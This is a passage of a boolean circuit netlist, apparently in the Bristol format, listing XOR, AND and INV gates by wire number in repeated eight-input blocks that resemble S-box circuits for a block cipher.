XOR +2 1 3804 3803 3800 AND +2 1 3800 3755 3795 XOR +2 1 3800 3802 3799 XOR +2 1 3801 3799 3798 AND +2 1 3798 3755 3797 XOR +2 1 3798 3810 3704 XOR +2 1 3704 3740 3700 XOR +2 1 33293 3700 3703 XOR +2 1 3798 3749 3701 XOR +2 1 33291 3700 3699 XOR +2 1 3795 3796 3794 AND +2 1 3794 3802 3793 XOR +2 1 3800 3794 3792 XOR +2 1 3794 3753 3708 XOR +2 1 3794 3811 3707 XOR +2 1 3707 3808 3702 XOR +2 1 3702 3703 3785 XOR +2 1 3802 3792 3791 AND +2 1 3791 3799 3789 XOR +2 1 3791 3809 3762 XOR +2 1 3762 3756 3783 XOR +2 1 33287 3762 3745 XOR +2 1 3745 3708 3790 XOR +2 1 3797 3789 3788 AND +2 1 3788 3758 3748 XOR +2 1 3748 3750 3787 XOR +2 1 3788 3812 3706 XOR +2 1 3745 3706 3698 XOR +2 1 3735 3698 3705 XOR +2 1 3702 3705 3786 XOR +2 1 3748 3701 3784 XOR +2 1 3698 3699 3782 XOR +2 1 3783 3820 3781 AND +2 1 3790 3819 3780 AND +2 1 3793 33286 3779 AND +2 1 3779 3781 3761 XOR +2 1 3784 3814 3778 AND +2 1 3787 3826 3777 AND +2 1 3797 3816 3776 AND +2 1 3776 3777 3715 XOR +2 1 3785 3817 3775 AND +2 1 3782 3815 3774 AND +2 1 3774 3777 3730 XOR +1 1 3730 3727 INV +2 1 3774 3775 3726 XOR +2 1 3786 3818 3773 AND +2 1 3783 3824 3772 AND +2 1 3790 3821 3771 AND +2 1 3793 3825 3770 AND +2 1 3784 3829 3769 AND +2 1 3769 3773 3746 XOR +2 1 3778 3769 3731 XOR +1 1 3746 3724 INV +2 1 3787 3822 3768 AND +2 1 3776 3768 3733 XOR +2 1 3797 3823 3767 AND +2 1 3724 3767 3723 XOR +2 1 3723 3761 3719 XOR +2 1 3785 3828 3766 AND +2 1 3766 3719 3722 XOR +2 1 3782 3830 3765 AND +2 1 3765 3766 3760 XOR +2 1 3771 3760 3742 XOR +2 1 3772 3742 3743 XOR +2 1 3780 3743 3747 XOR +2 1 3781 3747 3752 XOR +2 1 3733 3760 3729 XOR +2 1 3761 3729 3732 XOR +2 1 3731 3732 3834 XOR +2 1 3724 3729 3728 XOR +2 1 3727 3728 3833 XOR +2 1 3752 3726 3832 XOR +2 1 3742 3719 3718 XOR +2 1 3779 3747 3716 XOR +2 1 3715 3716 34791 XOR +2 1 3786 3827 3764 AND +2 1 3775 3764 3725 XOR +1 1 3725 3721 INV +2 1 3721 3722 3831 XOR +2 1 33295 33297 3873 XOR +2 1 33299 33301 3874 XOR +2 1 33296 3873 3875 XOR +2 1 33300 3875 3957 XOR +2 1 33299 3875 3954 XOR +2 1 33298 33300 3876 XOR +2 1 33294 33300 3880 XOR +2 1 3880 3875 3956 XOR +2 1 33298 33301 3968 XOR +2 1 3874 3880 3963 XOR +2 1 3873 3968 3960 XOR +2 1 33294 3960 3959 XOR +2 1 33295 33296 3890 XOR +2 1 3890 3963 3961 XOR +2 1 3968 3890 3964 XOR +2 1 33296 33298 3970 XOR +2 1 3874 3970 3955 XOR +2 1 33299 3880 3966 XOR +2 1 33295 3966 3962 XOR +2 1 33297 33296 3850 XOR +2 1 3876 3874 3836 XOR +2 1 3873 3836 3958 XOR +2 1 3876 33299 3835 XOR +2 1 33294 3835 3965 XOR +2 1 33301 33295 3969 XOR +2 1 33301 33296 3967 XOR +2 1 3960 3964 3953 AND +2 1 3953 3876 3879 XOR +2 1 3961 3959 3952 AND +2 1 3965 33294 3951 AND +2 1 3969 3954 3950 AND +2 1 3950 3874 3878 XOR +2 1 3966 3962 3949 AND +2 1 3963 3956 3948 AND +2 1 3968 3957 3947 AND +2 1 3947 3875 3877 XOR +2 1 3879 3877 3883 XOR +2 1 33301 3883 3888 XOR +2 1 3970 3955 3946 AND +2 1 3946 3952 3897 XOR +2 1 3897 3888 3944 XOR +2 1 3946 3947 3849 XOR +2 1 3849 3850 3896 XOR +2 1 3896 3878 3895 XOR +2 1 3949 3895 3943 XOR +2 1 3967 3958 3945 AND +2 1 3945 3948 3898 XOR +2 1 3945 3951 3902 XOR +2 1 3902 3874 3889 XOR +2 1 3897 3889 3941 XOR +2 1 3946 3898 3892 XOR +2 1 3878 3898 3852 XOR +2 1 3852 3877 3942 XOR +2 1 3883 3902 3851 XOR +2 1 33299 3851 3894 XOR +2 1 3949 3892 3848 XOR +2 1 33295 3848 3936 XOR +2 1 3944 3943 3940 AND +2 1 3940 3894 3935 XOR +2 1 3940 3942 3939 XOR +2 1 3941 3939 3938 AND +2 1 3938 3894 3937 XOR +2 1 3938 3950 3843 XOR +2 1 3843 3879 3839 XOR +2 1 33301 3839 3842 XOR +2 1 3938 3888 3840 XOR +2 1 33299 3839 3838 XOR +2 1 3935 3936 3934 AND +2 1 3934 3942 3933 XOR +2 1 3940 3934 3932 XOR +2 1 3934 3892 3847 XOR +2 1 3934 3951 3846 XOR +2 1 3846 3948 3841 XOR +2 1 3841 3842 3925 XOR +2 1 3942 3932 3931 AND +2 1 3931 3939 3929 XOR +2 1 3931 3949 3901 XOR +2 1 3901 3895 3923 XOR +2 1 33295 3901 3884 XOR +2 1 3884 3847 3930 XOR +2 1 3937 3929 3928 AND +2 1 3928 3897 3887 XOR +2 1 3887 3889 3927 XOR +2 1 3928 3952 3845 XOR +2 1 3884 3845 3837 XOR +2 1 3874 3837 3844 XOR +2 1 3841 3844 3926 XOR +2 1 3887 3840 3924 XOR +2 1 3837 3838 3922 XOR +2 1 3923 3960 3921 AND +2 1 3930 3959 3920 AND +2 1 3933 33294 3919 AND +2 1 3919 3921 3900 XOR +2 1 3924 3954 3918 AND +2 1 3927 3966 3917 AND +2 1 3917 3918 3903 XOR +2 1 3937 3956 3916 AND +2 1 3916 3917 3854 XOR +2 1 3925 3957 3915 AND +2 1 3922 3955 3914 AND +2 1 3914 3903 3893 XOR +2 1 3914 3917 3869 XOR +1 1 3869 3866 INV +2 1 3914 3915 3865 XOR +2 1 3915 3893 3853 XOR +2 1 3926 3958 3913 AND +2 1 3923 3964 3912 AND +2 1 3930 3961 3911 AND +2 1 3933 3965 3910 AND +2 1 3910 3893 3859 XOR +1 1 3859 3856 INV +2 1 3924 3969 3909 AND +2 1 3909 3913 3885 XOR +2 1 3918 3909 3870 XOR +1 1 3885 3863 INV +2 1 3927 3962 3908 AND +2 1 3916 3908 3872 XOR +2 1 3937 3963 3907 AND +2 1 3863 3907 3862 XOR +2 1 3862 3900 3858 XOR +2 1 3925 3968 3906 AND +2 1 3906 3858 3861 XOR +2 1 3922 3970 3905 AND +2 1 3905 3906 3899 XOR +2 1 3911 3899 3881 XOR +2 1 3912 3881 3882 XOR +2 1 3920 3882 3886 XOR +2 1 3921 3886 3891 XOR +2 1 3903 3891 34853 XOR +2 1 3872 3899 3868 XOR +2 1 3900 3868 3871 XOR +2 1 3870 3871 3974 XOR +2 1 3863 3868 3867 XOR +2 1 3866 3867 3973 XOR +2 1 3891 3865 3972 XOR +2 1 3881 3858 3857 XOR +2 1 3856 3857 34851 XOR +2 1 3919 3886 3855 XOR +2 1 3854 3855 34852 XOR +2 1 3882 3853 34854 XOR +2 1 3926 3967 3904 AND +2 1 3915 3904 3864 XOR +1 1 3864 3860 INV +2 1 3860 3861 3971 XOR +2 1 33319 33321 4013 XOR +2 1 33323 33325 4014 XOR +2 1 33320 4013 4015 XOR +2 1 33324 4015 4096 XOR +2 1 33323 4015 4093 XOR +2 1 33322 33324 4016 XOR +2 1 33318 33324 4020 XOR +2 1 4020 4015 4095 XOR +2 1 33322 33325 4107 XOR +2 1 4014 4020 4102 XOR +2 1 4013 4107 4099 XOR +2 1 33318 4099 4098 XOR +2 1 33319 33320 4030 XOR +2 1 4030 4102 4100 XOR +2 1 4107 4030 4103 XOR +2 1 33320 33322 4109 XOR +2 1 4014 4109 4094 XOR +2 1 33323 4020 4105 XOR +2 1 33319 4105 4101 XOR +2 1 33321 33320 3990 XOR +2 1 4016 4014 3976 XOR +2 1 4013 3976 4097 XOR +2 1 4016 33323 3975 XOR +2 1 33318 3975 4104 XOR +2 1 33325 33319 4108 XOR +2 1 33325 33320 4106 XOR +2 1 4099 4103 4092 AND +2 1 4092 4016 4019 XOR +2 1 4100 4098 4091 AND +2 1 4104 33318 4090 AND +2 1 4108 4093 4089 AND +2 1 4089 4014 4018 XOR +2 1 4105 4101 4088 AND +2 1 4102 4095 4087 AND +2 1 4107 4096 4086 AND +2 1 4086 4015 4017 XOR +2 1 4019 4017 4023 XOR +2 1 33325 4023 4028 XOR +2 1 4109 4094 4085 AND +2 1 4085 4091 4037 XOR +2 1 4037 4028 4083 XOR +2 1 4085 4086 3989 XOR +2 1 3989 3990 4036 XOR +2 1 4036 4018 4035 XOR +2 1 4088 4035 4082 XOR +2 1 4106 4097 4084 AND +2 1 4084 4087 4038 XOR +2 1 4084 4090 4042 XOR +2 1 4042 4014 4029 XOR +2 1 4037 4029 4080 XOR +2 1 4085 4038 4032 XOR +2 1 4018 4038 3992 XOR +2 1 3992 4017 4081 XOR +2 1 4023 4042 3991 XOR +2 1 33323 3991 4034 XOR +2 1 4088 4032 3988 XOR +2 1 33319 3988 4075 XOR +2 1 4083 4082 4079 AND +2 1 4079 4034 4074 XOR +2 1 4079 4081 4078 XOR +2 1 4080 4078 4077 AND +2 1 4077 4034 4076 XOR +2 1 4077 4089 3983 XOR +2 1 3983 4019 3979 XOR +2 1 33325 3979 3982 XOR +2 1 4077 4028 3980 XOR +2 1 33323 3979 3978 XOR +2 1 4074 4075 4073 AND +2 1 4073 4081 4072 XOR +2 1 4079 4073 4071 XOR +2 1 4073 4032 3987 XOR +2 1 4073 4090 3986 XOR +2 1 3986 4087 3981 XOR +2 1 3981 3982 4064 XOR +2 1 4081 4071 4070 AND +2 1 4070 4078 4068 XOR +2 1 4070 4088 4041 XOR +2 1 4041 4035 4062 XOR +2 1 33319 4041 4024 XOR +2 1 4024 3987 4069 XOR +2 1 4076 4068 4067 AND +2 1 4067 4037 4027 XOR +2 1 4027 4029 4066 XOR +2 1 4067 4091 3985 XOR +2 1 4024 3985 3977 XOR +2 1 4014 3977 3984 XOR +2 1 3981 3984 4065 XOR +2 1 4027 3980 4063 XOR +2 1 3977 3978 4061 XOR +2 1 4062 4099 4060 AND +2 1 4069 4098 4059 AND +2 1 4072 33318 4058 AND +2 1 4058 4060 4040 XOR +2 1 4063 4093 4057 AND +2 1 4066 4105 4056 AND +2 1 4076 4095 4055 AND +2 1 4055 4056 3994 XOR +2 1 4064 4096 4054 AND +2 1 4061 4094 4053 AND +2 1 4053 4056 4009 XOR +1 1 4009 4006 INV +2 1 4053 4054 4005 XOR +2 1 4065 4097 4052 AND +2 1 4062 4103 4051 AND +2 1 4069 4100 4050 AND +2 1 4072 4104 4049 AND +2 1 4063 4108 4048 AND +2 1 4048 4052 4025 XOR +2 1 4057 4048 4010 XOR +1 1 4025 4003 INV +2 1 4066 4101 4047 AND +2 1 4055 4047 4012 XOR +2 1 4076 4102 4046 AND +2 1 4003 4046 4002 XOR +2 1 4002 4040 3998 XOR +2 1 4064 4107 4045 AND +2 1 4045 3998 4001 XOR +2 1 4061 4109 4044 AND +2 1 4044 4045 4039 XOR +2 1 4050 4039 4021 XOR +2 1 4051 4021 4022 XOR +2 1 4059 4022 4026 XOR +2 1 4060 4026 4031 XOR +2 1 4012 4039 4008 XOR +2 1 4040 4008 4011 XOR +2 1 4010 4011 4113 XOR +2 1 4003 4008 4007 XOR +2 1 4006 4007 4112 XOR +2 1 4031 4005 4111 XOR +2 1 4021 3998 3997 XOR +2 1 4058 4026 3995 XOR +2 1 3994 3995 34811 XOR +2 1 4065 4106 4043 AND +2 1 4054 4043 4004 XOR +1 1 4004 4000 INV +2 1 4000 4001 4110 XOR +2 1 33327 33329 4152 XOR +2 1 33331 33333 4153 XOR +2 1 33328 4152 4154 XOR +2 1 33332 4154 4235 XOR +2 1 33331 4154 4232 XOR +2 1 33330 33332 4155 XOR +2 1 33326 33332 4159 XOR +2 1 4159 4154 4234 XOR +2 1 33330 33333 4246 XOR +2 1 4153 4159 4241 XOR +2 1 4152 4246 4238 XOR +2 1 33326 4238 4237 XOR +2 1 33327 33328 4169 XOR +2 1 4169 4241 4239 XOR +2 1 4246 4169 4242 XOR +2 1 33328 33330 4248 XOR +2 1 4153 4248 4233 XOR +2 1 33331 4159 4244 XOR +2 1 33327 4244 4240 XOR +2 1 33329 33328 4129 XOR +2 1 4155 4153 4115 XOR +2 1 4152 4115 4236 XOR +2 1 4155 33331 4114 XOR +2 1 33326 4114 4243 XOR +2 1 33333 33327 4247 XOR +2 1 33333 33328 4245 XOR +2 1 4238 4242 4231 AND +2 1 4231 4155 4158 XOR +2 1 4239 4237 4230 AND +2 1 4243 33326 4229 AND +2 1 4247 4232 4228 AND +2 1 4228 4153 4157 XOR +2 1 4244 4240 4227 AND +2 1 4241 4234 4226 AND +2 1 4246 4235 4225 AND +2 1 4225 4154 4156 XOR +2 1 4158 4156 4162 XOR +2 1 33333 4162 4167 XOR +2 1 4248 4233 4224 AND +2 1 4224 4230 4176 XOR +2 1 4176 4167 4222 XOR +2 1 4224 4225 4128 XOR +2 1 4128 4129 4175 XOR +2 1 4175 4157 4174 XOR +2 1 4227 4174 4221 XOR +2 1 4245 4236 4223 AND +2 1 4223 4226 4177 XOR +2 1 4223 4229 4181 XOR +2 1 4181 4153 4168 XOR +2 1 4176 4168 4219 XOR +2 1 4224 4177 4171 XOR +2 1 4157 4177 4131 XOR +2 1 4131 4156 4220 XOR +2 1 4162 4181 4130 XOR +2 1 33331 4130 4173 XOR +2 1 4227 4171 4127 XOR +2 1 33327 4127 4214 XOR +2 1 4222 4221 4218 AND +2 1 4218 4173 4213 XOR +2 1 4218 4220 4217 XOR +2 1 4219 4217 4216 AND +2 1 4216 4173 4215 XOR +2 1 4216 4228 4122 XOR +2 1 4122 4158 4118 XOR +2 1 33333 4118 4121 XOR +2 1 4216 4167 4119 XOR +2 1 33331 4118 4117 XOR +2 1 4213 4214 4212 AND +2 1 4212 4220 4211 XOR +2 1 4218 4212 4210 XOR +2 1 4212 4171 4126 XOR +2 1 4212 4229 4125 XOR +2 1 4125 4226 4120 XOR +2 1 4120 4121 4203 XOR +2 1 4220 4210 4209 AND +2 1 4209 4217 4207 XOR +2 1 4209 4227 4180 XOR +2 1 4180 4174 4201 XOR +2 1 33327 4180 4163 XOR +2 1 4163 4126 4208 XOR +2 1 4215 4207 4206 AND +2 1 4206 4176 4166 XOR +2 1 4166 4168 4205 XOR +2 1 4206 4230 4124 XOR +2 1 4163 4124 4116 XOR +2 1 4153 4116 4123 XOR +2 1 4120 4123 4204 XOR +2 1 4166 4119 4202 XOR +2 1 4116 4117 4200 XOR +2 1 4201 4238 4199 AND +2 1 4208 4237 4198 AND +2 1 4211 33326 4197 AND +2 1 4197 4199 4179 XOR +2 1 4202 4232 4196 AND +2 1 4205 4244 4195 AND +2 1 4215 4234 4194 AND +2 1 4194 4195 4133 XOR +2 1 4203 4235 4193 AND +2 1 4200 4233 4192 AND +2 1 4192 4195 4148 XOR +1 1 4148 4145 INV +2 1 4192 4193 4144 XOR +2 1 4204 4236 4191 AND +2 1 4201 4242 4190 AND +2 1 4208 4239 4189 AND +2 1 4211 4243 4188 AND +2 1 4202 4247 4187 AND +2 1 4187 4191 4164 XOR +2 1 4196 4187 4149 XOR +1 1 4164 4142 INV +2 1 4205 4240 4186 AND +2 1 4194 4186 4151 XOR +2 1 4215 4241 4185 AND +2 1 4142 4185 4141 XOR +2 1 4141 4179 4137 XOR +2 1 4203 4246 4184 AND +2 1 4184 4137 4140 XOR +2 1 4200 4248 4183 AND +2 1 4183 4184 4178 XOR +2 1 4189 4178 4160 XOR +2 1 4190 4160 4161 XOR +2 1 4198 4161 4165 XOR +2 1 4199 4165 4170 XOR +2 1 4151 4178 4147 XOR +2 1 4179 4147 4150 XOR +2 1 4149 4150 4252 XOR +2 1 4142 4147 4146 XOR +2 1 4145 4146 4251 XOR +2 1 4170 4144 4250 XOR +2 1 4160 4137 4136 XOR +2 1 4197 4165 4134 XOR +2 1 4133 4134 34795 XOR +2 1 4204 4245 4182 AND +2 1 4193 4182 4143 XOR +1 1 4143 4139 INV +2 1 4139 4140 4249 XOR +1 1 4250 34798 INV +1 1 4249 34797 INV +2 1 33343 33345 4291 XOR +2 1 33347 33349 4292 XOR +2 1 33344 4291 4293 XOR +2 1 33348 4293 4374 XOR +2 1 33347 4293 4371 XOR +2 1 33346 33348 4294 XOR +2 1 33342 33348 4298 XOR +2 1 4298 4293 4373 XOR +2 1 33346 33349 4385 XOR +2 1 4292 4298 4380 XOR +2 1 4291 4385 4377 XOR +2 1 33342 4377 4376 XOR +2 1 33343 33344 4308 XOR +2 1 4308 4380 4378 XOR +2 1 4385 4308 4381 XOR +2 1 33344 33346 4387 XOR +2 1 4292 4387 4372 XOR +2 1 33347 4298 4383 XOR +2 1 33343 4383 4379 XOR +2 1 33345 33344 4268 XOR +2 1 4294 4292 4254 XOR +2 1 4291 4254 4375 XOR +2 1 4294 33347 4253 XOR +2 1 33342 4253 4382 XOR +2 1 33349 33343 4386 XOR +2 1 33349 33344 4384 XOR +2 1 4377 4381 4370 AND +2 1 4370 4294 4297 XOR +2 1 4378 4376 4369 AND +2 1 4382 33342 4368 AND +2 1 4386 4371 4367 AND +2 1 4367 4292 4296 XOR +2 1 4383 4379 4366 AND +2 1 4380 4373 4365 AND +2 1 4385 4374 4364 AND +2 1 4364 4293 4295 XOR +2 1 4297 4295 4301 XOR +2 1 33349 4301 4306 XOR +2 1 4387 4372 4363 AND +2 1 4363 4369 4315 XOR +2 1 4315 4306 4361 XOR +2 1 4363 4364 4267 XOR +2 1 4267 4268 4314 XOR +2 1 4314 4296 4313 XOR +2 1 4366 4313 4360 XOR +2 1 4384 4375 4362 AND +2 1 4362 4365 4316 XOR +2 1 4362 4368 4320 XOR +2 1 4320 4292 4307 XOR +2 1 4315 4307 4358 XOR +2 1 4363 4316 4310 XOR +2 1 4296 4316 4270 XOR +2 1 4270 4295 4359 XOR +2 1 4301 4320 4269 XOR +2 1 33347 4269 4312 XOR +2 1 4366 4310 4266 XOR +2 1 33343 4266 4353 XOR +2 1 4361 4360 4357 AND +2 1 4357 4312 4352 XOR +2 1 4357 4359 4356 XOR +2 1 4358 4356 4355 AND +2 1 4355 4312 4354 XOR +2 1 4355 4367 4261 XOR +2 1 4261 4297 4257 XOR +2 1 33349 4257 4260 XOR +2 1 4355 4306 4258 XOR +2 1 33347 4257 4256 XOR +2 1 4352 4353 4351 AND +2 1 4351 4359 4350 XOR +2 1 4357 4351 4349 XOR +2 1 4351 4310 4265 XOR +2 1 4351 4368 4264 XOR +2 1 4264 4365 4259 XOR +2 1 4259 4260 4342 XOR +2 1 4359 4349 4348 AND +2 1 4348 4356 4346 XOR +2 1 4348 4366 4319 XOR +2 1 4319 4313 4340 XOR +2 1 33343 4319 4302 XOR +2 1 4302 4265 4347 XOR +2 1 4354 4346 4345 AND +2 1 4345 4315 4305 XOR +2 1 4305 4307 4344 XOR +2 1 4345 4369 4263 XOR +2 1 4302 4263 4255 XOR +2 1 4292 4255 4262 XOR +2 1 4259 4262 4343 XOR +2 1 4305 4258 4341 XOR +2 1 4255 4256 4339 XOR +2 1 4340 4377 4338 AND +2 1 4347 4376 4337 AND +2 1 4350 33342 4336 AND +2 1 4336 4338 4318 XOR +2 1 4341 4371 4335 AND +2 1 4344 4383 4334 AND +2 1 4354 4373 4333 AND +2 1 4333 4334 4272 XOR +2 1 4342 4374 4332 AND +2 1 4339 4372 4331 AND +2 1 4331 4334 4287 XOR +1 1 4287 4284 INV +2 1 4331 4332 4283 XOR +2 1 4343 4375 4330 AND +2 1 4340 4381 4329 AND +2 1 4347 4378 4328 AND +2 1 4350 4382 4327 AND +2 1 4341 4386 4326 AND +2 1 4326 4330 4303 XOR +2 1 4335 4326 4288 XOR +1 1 4303 4281 INV +2 1 4344 4379 4325 AND +2 1 4333 4325 4290 XOR +2 1 4354 4380 4324 AND +2 1 4281 4324 4280 XOR +2 1 4280 4318 4276 XOR +2 1 4342 4385 4323 AND +2 1 4323 4276 4279 XOR +2 1 4339 4387 4322 AND +2 1 4322 4323 4317 XOR +2 1 4328 4317 4299 XOR +2 1 4329 4299 4300 XOR +2 1 4337 4300 4304 XOR +2 1 4338 4304 4309 XOR +2 1 4290 4317 4286 XOR +2 1 4318 4286 4289 XOR +2 1 4288 4289 4391 XOR +2 1 4281 4286 4285 XOR +2 1 4284 4285 4390 XOR +2 1 4309 4283 4389 XOR +2 1 4299 4276 4275 XOR +2 1 4336 4304 4273 XOR +2 1 4272 4273 34843 XOR +2 1 4343 4384 4321 AND +2 1 4332 4321 4282 XOR +1 1 4282 4278 INV +2 1 4278 4279 4388 XOR +2 1 33351 33353 4430 XOR +2 1 33355 33357 4431 XOR +2 1 33352 4430 4432 XOR +2 1 33356 4432 4513 XOR +2 1 33355 4432 4510 XOR +2 1 33354 33356 4433 XOR +2 1 33350 33356 4437 XOR +2 1 4437 4432 4512 XOR +2 1 33354 33357 4524 XOR +2 1 4431 4437 4519 XOR +2 1 4430 4524 4516 XOR +2 1 33350 4516 4515 XOR +2 1 33351 33352 4447 XOR +2 1 4447 4519 4517 XOR +2 1 4524 4447 4520 XOR +2 1 33352 33354 4526 XOR +2 1 4431 4526 4511 XOR +2 1 33355 4437 4522 XOR +2 1 33351 4522 4518 XOR +2 1 33353 33352 4407 XOR +2 1 4433 4431 4393 XOR +2 1 4430 4393 4514 XOR +2 1 4433 33355 4392 XOR +2 1 33350 4392 4521 XOR +2 1 33357 33351 4525 XOR +2 1 33357 33352 4523 XOR +2 1 4516 4520 4509 AND +2 1 4509 4433 4436 XOR +2 1 4517 4515 4508 AND +2 1 4521 33350 4507 AND +2 1 4525 4510 4506 AND +2 1 4506 4431 4435 XOR +2 1 4522 4518 4505 AND +2 1 4519 4512 4504 AND +2 1 4524 4513 4503 AND +2 1 4503 4432 4434 XOR +2 1 4436 4434 4440 XOR +2 1 33357 4440 4445 XOR +2 1 4526 4511 4502 AND +2 1 4502 4508 4454 XOR +2 1 4454 4445 4500 XOR +2 1 4502 4503 4406 XOR +2 1 4406 4407 4453 XOR +2 1 4453 4435 4452 XOR +2 1 4505 4452 4499 XOR +2 1 4523 4514 4501 AND +2 1 4501 4504 4455 XOR +2 1 4501 4507 4459 XOR +2 1 4459 4431 4446 XOR +2 1 4454 4446 4497 XOR +2 1 4502 4455 4449 XOR +2 1 4435 4455 4409 XOR +2 1 4409 4434 4498 XOR +2 1 4440 4459 4408 XOR +2 1 33355 4408 4451 XOR +2 1 4505 4449 4405 XOR +2 1 33351 4405 4492 XOR +2 1 4500 4499 4496 AND +2 1 4496 4451 4491 XOR +2 1 4496 4498 4495 XOR +2 1 4497 4495 4494 AND +2 1 4494 4451 4493 XOR +2 1 4494 4506 4400 XOR +2 1 4400 4436 4396 XOR +2 1 33357 4396 4399 XOR +2 1 4494 4445 4397 XOR +2 1 33355 4396 4395 XOR +2 1 4491 4492 4490 AND +2 1 4490 4498 4489 XOR +2 1 4496 4490 4488 XOR +2 1 4490 4449 4404 XOR +2 1 4490 4507 4403 XOR +2 1 4403 4504 4398 XOR +2 1 4398 4399 4481 XOR +2 1 4498 4488 4487 AND +2 1 4487 4495 4485 XOR +2 1 4487 4505 4458 XOR +2 1 4458 4452 4479 XOR +2 1 33351 4458 4441 XOR +2 1 4441 4404 4486 XOR +2 1 4493 4485 4484 AND +2 1 4484 4454 4444 XOR +2 1 4444 4446 4483 XOR +2 1 4484 4508 4402 XOR +2 1 4441 4402 4394 XOR +2 1 4431 4394 4401 XOR +2 1 4398 4401 4482 XOR +2 1 4444 4397 4480 XOR +2 1 4394 4395 4478 XOR +2 1 4479 4516 4477 AND +2 1 4486 4515 4476 AND +2 1 4489 33350 4475 AND +2 1 4475 4477 4457 XOR +2 1 4480 4510 4474 AND +2 1 4483 4522 4473 AND +2 1 4493 4512 4472 AND +2 1 4472 4473 4411 XOR +2 1 4481 4513 4471 AND +2 1 4478 4511 4470 AND +2 1 4470 4473 4426 XOR +1 1 4426 4423 INV +2 1 4470 4471 4422 XOR +2 1 4482 4514 4469 AND +2 1 4479 4520 4468 AND +2 1 4486 4517 4467 AND +2 1 4489 4521 4466 AND +2 1 4480 4525 4465 AND +2 1 4465 4469 4442 XOR +2 1 4474 4465 4427 XOR +1 1 4442 4420 INV +2 1 4483 4518 4464 AND +2 1 4472 4464 4429 XOR +2 1 4493 4519 4463 AND +2 1 4420 4463 4419 XOR +2 1 4419 4457 4415 XOR +2 1 4481 4524 4462 AND +2 1 4462 4415 4418 XOR +2 1 4478 4526 4461 AND +2 1 4461 4462 4456 XOR +2 1 4467 4456 4438 XOR +2 1 4468 4438 4439 XOR +2 1 4476 4439 4443 XOR +2 1 4477 4443 4448 XOR +2 1 4429 4456 4425 XOR +2 1 4457 4425 4428 XOR +2 1 4427 4428 4530 XOR +2 1 4420 4425 4424 XOR +2 1 4423 4424 4529 XOR +2 1 4448 4422 4528 XOR +2 1 4438 4415 4414 XOR +2 1 4475 4443 4412 XOR +2 1 4411 4412 34828 XOR +2 1 4482 4523 4460 AND +2 1 4471 4460 4421 XOR +1 1 4421 4417 INV +2 1 4417 4418 4527 XOR +2 1 33359 33361 4569 XOR +2 1 33363 33365 4570 XOR +2 1 33360 4569 4571 XOR +2 1 33364 4571 4652 XOR +2 1 33363 4571 4649 XOR +2 1 33362 33364 4572 XOR +2 1 33358 33364 4576 XOR +2 1 4576 4571 4651 XOR +2 1 33362 33365 4663 XOR +2 1 4570 4576 4658 XOR +2 1 4569 4663 4655 XOR +2 1 33358 4655 4654 XOR +2 1 33359 33360 4586 XOR +2 1 4586 4658 4656 XOR +2 1 4663 4586 4659 XOR +2 1 33360 33362 4665 XOR +2 1 4570 4665 4650 XOR +2 1 33363 4576 4661 XOR +2 1 33359 4661 4657 XOR +2 1 33361 33360 4546 XOR +2 1 4572 4570 4532 XOR +2 1 4569 4532 4653 XOR +2 1 4572 33363 4531 XOR +2 1 33358 4531 4660 XOR +2 1 33365 33359 4664 XOR +2 1 33365 33360 4662 XOR +2 1 4655 4659 4648 AND +2 1 4648 4572 4575 XOR +2 1 4656 4654 4647 AND +2 1 4660 33358 4646 AND +2 1 4664 4649 4645 AND +2 1 4645 4570 4574 XOR +2 1 4661 4657 4644 AND +2 1 4658 4651 4643 AND +2 1 4663 4652 4642 AND +2 1 4642 4571 4573 XOR +2 1 4575 4573 4579 XOR +2 1 33365 4579 4584 XOR +2 1 4665 4650 4641 AND +2 1 4641 4647 4593 XOR +2 1 4593 4584 4639 XOR +2 1 4641 4642 4545 XOR +2 1 4545 4546 4592 XOR +2 1 4592 4574 4591 XOR +2 1 4644 4591 4638 XOR +2 1 4662 4653 4640 AND +2 1 4640 4643 4594 XOR +2 1 4640 4646 4598 XOR +2 1 4598 4570 4585 XOR +2 1 4593 4585 4636 XOR +2 1 4641 4594 4588 XOR +2 1 4574 4594 4548 XOR +2 1 4548 4573 4637 XOR +2 1 4579 4598 4547 XOR +2 1 33363 4547 4590 XOR +2 1 4644 4588 4544 XOR +2 1 33359 4544 4631 XOR +2 1 4639 4638 4635 AND +2 1 4635 4590 4630 XOR +2 1 4635 4637 4634 XOR +2 1 4636 4634 4633 AND +2 1 4633 4590 4632 XOR +2 1 4633 4645 4539 XOR +2 1 4539 4575 4535 XOR +2 1 33365 4535 4538 XOR +2 1 4633 4584 4536 XOR +2 1 33363 4535 4534 XOR +2 1 4630 4631 4629 AND +2 1 4629 4637 4628 XOR +2 1 4635 4629 4627 XOR +2 1 4629 4588 4543 XOR +2 1 4629 4646 4542 XOR +2 1 4542 4643 4537 XOR +2 1 4537 4538 4620 XOR +2 1 4637 4627 4626 AND +2 1 4626 4634 4624 XOR +2 1 4626 4644 4597 XOR +2 1 4597 4591 4618 XOR +2 1 33359 4597 4580 XOR +2 1 4580 4543 4625 XOR +2 1 4632 4624 4623 AND +2 1 4623 4593 4583 XOR +2 1 4583 4585 4622 XOR +2 1 4623 4647 4541 XOR +2 1 4580 4541 4533 XOR +2 1 4570 4533 4540 XOR +2 1 4537 4540 4621 XOR +2 1 4583 4536 4619 XOR +2 1 4533 4534 4617 XOR +2 1 4618 4655 4616 AND +2 1 4625 4654 4615 AND +2 1 4628 33358 4614 AND +2 1 4614 4616 4596 XOR +2 1 4619 4649 4613 AND +2 1 4622 4661 4612 AND +2 1 4632 4651 4611 AND +2 1 4611 4612 4550 XOR +2 1 4620 4652 4610 AND +2 1 4617 4650 4609 AND +2 1 4609 4612 4565 XOR +1 1 4565 4562 INV +2 1 4609 4610 4561 XOR +2 1 4621 4653 4608 AND +2 1 4618 4659 4607 AND +2 1 4625 4656 4606 AND +2 1 4628 4660 4605 AND +2 1 4619 4664 4604 AND +2 1 4604 4608 4581 XOR +2 1 4613 4604 4566 XOR +1 1 4581 4559 INV +2 1 4622 4657 4603 AND +2 1 4611 4603 4568 XOR +2 1 4632 4658 4602 AND +2 1 4559 4602 4558 XOR +2 1 4558 4596 4554 XOR +2 1 4620 4663 4601 AND +2 1 4601 4554 4557 XOR +2 1 4617 4665 4600 AND +2 1 4600 4601 4595 XOR +2 1 4606 4595 4577 XOR +2 1 4607 4577 4578 XOR +2 1 4615 4578 4582 XOR +2 1 4616 4582 4587 XOR +2 1 4568 4595 4564 XOR +2 1 4596 4564 4567 XOR +2 1 4566 4567 4669 XOR +2 1 4559 4564 4563 XOR +2 1 4562 4563 4668 XOR +2 1 4587 4561 4667 XOR +2 1 4577 4554 4553 XOR +2 1 4614 4582 4551 XOR +2 